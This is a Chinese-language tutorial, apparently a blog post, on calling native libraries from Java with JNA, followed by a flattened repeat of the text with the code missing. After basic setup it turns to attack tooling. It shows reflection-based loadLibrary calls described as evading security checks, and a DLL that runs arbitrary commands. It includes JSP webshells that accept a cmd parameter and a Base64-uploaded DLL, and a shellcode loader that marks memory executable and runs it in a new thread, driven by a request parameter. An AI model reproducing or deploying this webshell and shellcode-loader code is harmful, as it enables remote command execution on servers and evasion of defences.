JNA 调用动态链接库
字数 1286 2025-08-11 00:55:07

JNA调用动态链接库技术详解

一、JNA基础概念

JNA(Java Native Access)是建立在JNI(Java Native Interface)技术之上的Java开源框架,提供了一组Java工具类用于在运行期间动态访问系统本地库。简单理解就是:JNA提供了一个"桥梁",可以利用Java代码直接访问动态链接库中的函数。

二、JNA调用DLL的基本步骤

  1. 创建工程:将dll文件放到工程下
  2. 引入JNA相关的jar包
  3. 创建继承自Library类的接口
  4. 接口中创建对象用于加载DLL/SO的类库
  5. 接口中声明DLL/SO类库头文件中暴露的方法
  6. 调用该方法

三、DLL编译方法(Windows示例)

1. 使用Visual Studio创建动态链接库工程

创建头文件testdll.h

#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void SayHello();

创建源文件testdll.cpp

#include "pch.h"
#include "testdll.h"
void SayHello(){
    std::cout << "Hello!你成功了!" << std::endl;
}

关键点说明

  • extern "C":告诉编译器按C语言方式进行编译
  • __declspec(dllexport):修饰符告诉编译器和链接器需要从DLL导出

2. 编译注意事项

  • DLL位数必须与JDK位数相同,否则无法调用

四、Java工程配置

1. Maven依赖

<dependency>
    <groupId>net.java.dev.jna</groupId>
    <artifactId>jna</artifactId>
    <version>5.13.0</version>
</dependency>
<dependency>
    <groupId>net.java.dev.jna</groupId>
    <artifactId>jna-platform</artifactId>
    <version>5.13.0</version>
</dependency>

2. 普通工程配置

可从GitHub下载jna jar包和platform jar包并导入:
https://github.com/java-native-access/jna

五、JNA调用DLL实现

1. 基本调用方式

public interface Mydll extends Library {
    Mydll mydll = (Mydll)Native.load("testdll", Mydll.class);
    void SayHello();
}

public static void main(String[] args) {
    Mydll.mydll.SayHello();
}

注意事项

  • 调用时不需要链接库的后缀,会自动加上
  • 方法声明需与DLL头文件中的声明一致

2. 动态链接库加载方法

常见加载方式有三种:

  1. System.load / System.loadLibrary
  2. Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary
  3. com.sun.glass.utils.NativeLibLoader.loadLibrary

区别

  • load接收绝对路径
  • loadLibrary接收相对路径

3. 反射调用loadLibrary方法(规避安全检测)

try {
    Class clazz = Class.forName("java.lang.ClassLoader");
    java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", 
        Class.class, String.class, boolean.class);
    method.setAccessible(true);
    method.invoke(null, clazz, "C:\\path\\to\\testdll.dll", true);
    
    Mydll mydll = (Mydll)Native.load("testdll", Mydll.class);
    mydll.SayHello();
} catch (Exception e) {
    e.printStackTrace();
}

六、实际应用场景

1. 命令执行实现

DLL代码(command.cpp):

#include "pch.h"
#include "command.h"
#include <cstdlib>
#include <string>

void executeCommand(const char* command) {
    char psBuffer[128];
    FILE* pPipe;
    if ((pPipe = _popen(command, "r")) == NULL) {
        exit(1);
    }
    while (fgets(psBuffer, 128, pPipe)) {
        puts(psBuffer);
    }
    _pclose(pPipe);
}

头文件(command.h):

#pragma once
#include <iostream>
extern "C" __declspec(dllexport) void executeCommand(const char* command);

Java调用:

public interface Mydll extends Library {
    void executeCommand(String command);
}

// 调用示例
mydll.executeCommand("ipconfig");

2. JSP WebShell实现

将代码打包为包含依赖的JAR文件,然后通过JSP加载:

JSP脚本:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<% 
    String path = "file:/path/to/maven02-1.0-SNAPSHOT-jar-with-dependencies.jar";
    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
    Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
    Object instance = MyTest.newInstance();
    Method method = MyTest.getMethod("show", String.class, String.class);
    Object ada = method.invoke(instance, 
        "C:\\path\\to\\testdll.dll", "whoami");
%>

优化版(支持DLL Base64上传):

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%! 
    private String getFileName(){
        String fileName = "";
        java.util.Random random = new java.util.Random(System.currentTimeMillis());
        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
        } else {
            fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
        }
        return fileName;
    }
    
    public String UploadBase64DLL(String base64) throws Exception {
        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
        java.io.File file = new java.io.File(getFileName());
        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(base64));
        fos.close();
        return file.getAbsolutePath();
    }
%>

<%
    try{
        String cmd = request.getParameter("cmd");
        String base64 = request.getParameter("base64");
        String file = UploadBase64DLL(base64);
        String path = "file:/path/to/jar-with-dependencies.jar";
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
        Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
        Object instance = MyTest.newInstance();
        Method method = MyTest.getMethod("show", String.class, String.class);
        Object ada = method.invoke(instance, file, cmd);
    } catch (Exception e){
        out.println(e);
    }
%>

3. Shellcode加载实现

DLL代码(shellcode.cpp):

#include "shellcode.h"
#include <iostream>
using namespace std;

void shellcode(PCHAR code, DWORD buf_len) {
    cout << buf_len << endl;
    DWORD oldprotect = 0;
    LPVOID base_addr = NULL;
    
    // 申请内存空间
    base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 转换并复制shellcode
    unsigned char HexNumArray[4096];
    int num = HexStr2HexNum(code, buf_len, HexNumArray);
    RtlMoveMemory(base_addr, HexNumArray, buf_len);
    
    // 修改为执行权限
    VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
    cout << "starting spawn shellcode" << endl;
    
    // 创建线程执行shellcode
    auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
    WaitForSingleObject(ct, -1);
    
    // 释放内存
    free(base_addr);
}

// Hex字符串转Hex数字的实现略...

Java调用:

public interface Mydll extends Library {
    void shellcode(byte[] b, int length);
}

public static void show(String base64, String dllpath, String dllname) {
    try {
        // 反射加载DLL
        Class clazz = Class.forName("java.lang.ClassLoader");
        java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", 
            Class.class, String.class, boolean.class);
        method.setAccessible(true);
        method.invoke(null, clazz, dllpath, true);
        
        // 加载并调用shellcode
        Mydll mydll = (Mydll)Native.load(dllname, Mydll.class);
        byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64);
        int leng = base64decodedBytes.length;
        mydll.shellcode(base64decodedBytes, leng);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

JSP实现:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %>
<%! 
    private String getFileName(String dllname){
        String fileName = "";
        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName = "C:\\Windows\\Temp\\" + dllname + ".dll";
        } else {
            fileName = "/tmp/"+ dllname + ".so";
        }
        return fileName;
    }
    
    public String UploadBase64DLL(String base64, String dllname) throws Exception {
        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
        java.io.File file = new java.io.File(getFileName(dllname));
        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(base64));
        fos.close();
        return file.getAbsolutePath();
    }
%>

<%
    try{
        String shellcode = request.getParameter("shellcode");
        String base64dll = request.getParameter("base64dll");
        String dllname = request.getParameter("dllname");
        String pathdll = UploadBase64DLL(base64dll, dllname);
        
        String path = "file:/path/to/jar-with-dependencies.jar";
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)});
        Class<?> MyTest = urlClassLoader.loadClass("com.jna.jnatest");
        Object instance = MyTest.newInstance();
        Method method = MyTest.getMethod("show", String.class, String.class, String.class);
        Object ada = method.invoke(instance, shellcode, pathdll, dllname);
    } catch (Exception e){
        out.println(e);
    }
%>

七、关键注意事项

  1. 位数匹配:DLL/SO的位数必须与JVM位数一致(32位或64位)
  2. 路径问题:使用绝对路径更可靠,相对路径可能因工作目录不同而失败
  3. 安全限制:某些环境可能限制动态库加载,需要反射等规避技术
  4. 异常处理:务必添加完善的异常处理,便于排查问题
  5. 资源释放:使用完毕后应释放相关资源,避免内存泄漏

八、参考资料

  1. JNA官方GitHub
  2. JNA数据类型映射
  3. Java加载动态链接库技术
JNA调用动态链接库技术详解 一、JNA基础概念 JNA(Java Native Access)是建立在JNI(Java Native Interface)技术之上的Java开源框架,提供了一组Java工具类用于在运行期间动态访问系统本地库。简单理解就是:JNA提供了一个"桥梁",可以利用Java代码直接访问动态链接库中的函数。 二、JNA调用DLL的基本步骤 创建工程 :将dll文件放到工程下 引入JNA相关的jar包 创建继承自Library类的接口 接口中创建对象用于加载DLL/SO的类库 接口中声明DLL/SO类库头文件中暴露的方法 调用该方法 三、DLL编译方法(Windows示例) 1. 使用Visual Studio创建动态链接库工程 创建头文件 testdll.h : 创建源文件 testdll.cpp : 关键点说明 : extern "C" :告诉编译器按C语言方式进行编译 __declspec(dllexport) :修饰符告诉编译器和链接器需要从DLL导出 2. 编译注意事项 DLL位数必须与JDK位数相同,否则无法调用 四、Java工程配置 1. Maven依赖 2. 普通工程配置 可从GitHub下载jna jar包和platform jar包并导入: https://github.com/java-native-access/jna 五、JNA调用DLL实现 1. 基本调用方式 注意事项 : 调用时不需要链接库的后缀,会自动加上 方法声明需与DLL头文件中的声明一致 2. 动态链接库加载方法 常见加载方式有三种: System.load / System.loadLibrary Runtime.getRuntime().load / Runtime.getRuntime().loadLibrary com.sun.glass.utils.NativeLibLoader.loadLibrary 区别 : load 接收绝对路径 loadLibrary 接收相对路径 3. 反射调用loadLibrary方法(规避安全检测) 六、实际应用场景 1. 命令执行实现 DLL代码(command.cpp): 头文件(command.h): Java调用: 2. JSP WebShell实现 将代码打包为包含依赖的JAR文件,然后通过JSP加载: JSP脚本: 优化版(支持DLL Base64上传): 3. Shellcode加载实现 DLL代码(shellcode.cpp): Java调用: JSP实现: 七、关键注意事项 位数匹配 :DLL/SO的位数必须与JVM位数一致(32位或64位) 路径问题 :使用绝对路径更可靠,相对路径可能因工作目录不同而失败 安全限制 :某些环境可能限制动态库加载,需要反射等规避技术 异常处理 :务必添加完善的异常处理,便于排查问题 资源释放 :使用完毕后应释放相关资源,避免内存泄漏 八、参考资料 JNA官方GitHub JNA数据类型映射 Java加载动态链接库技术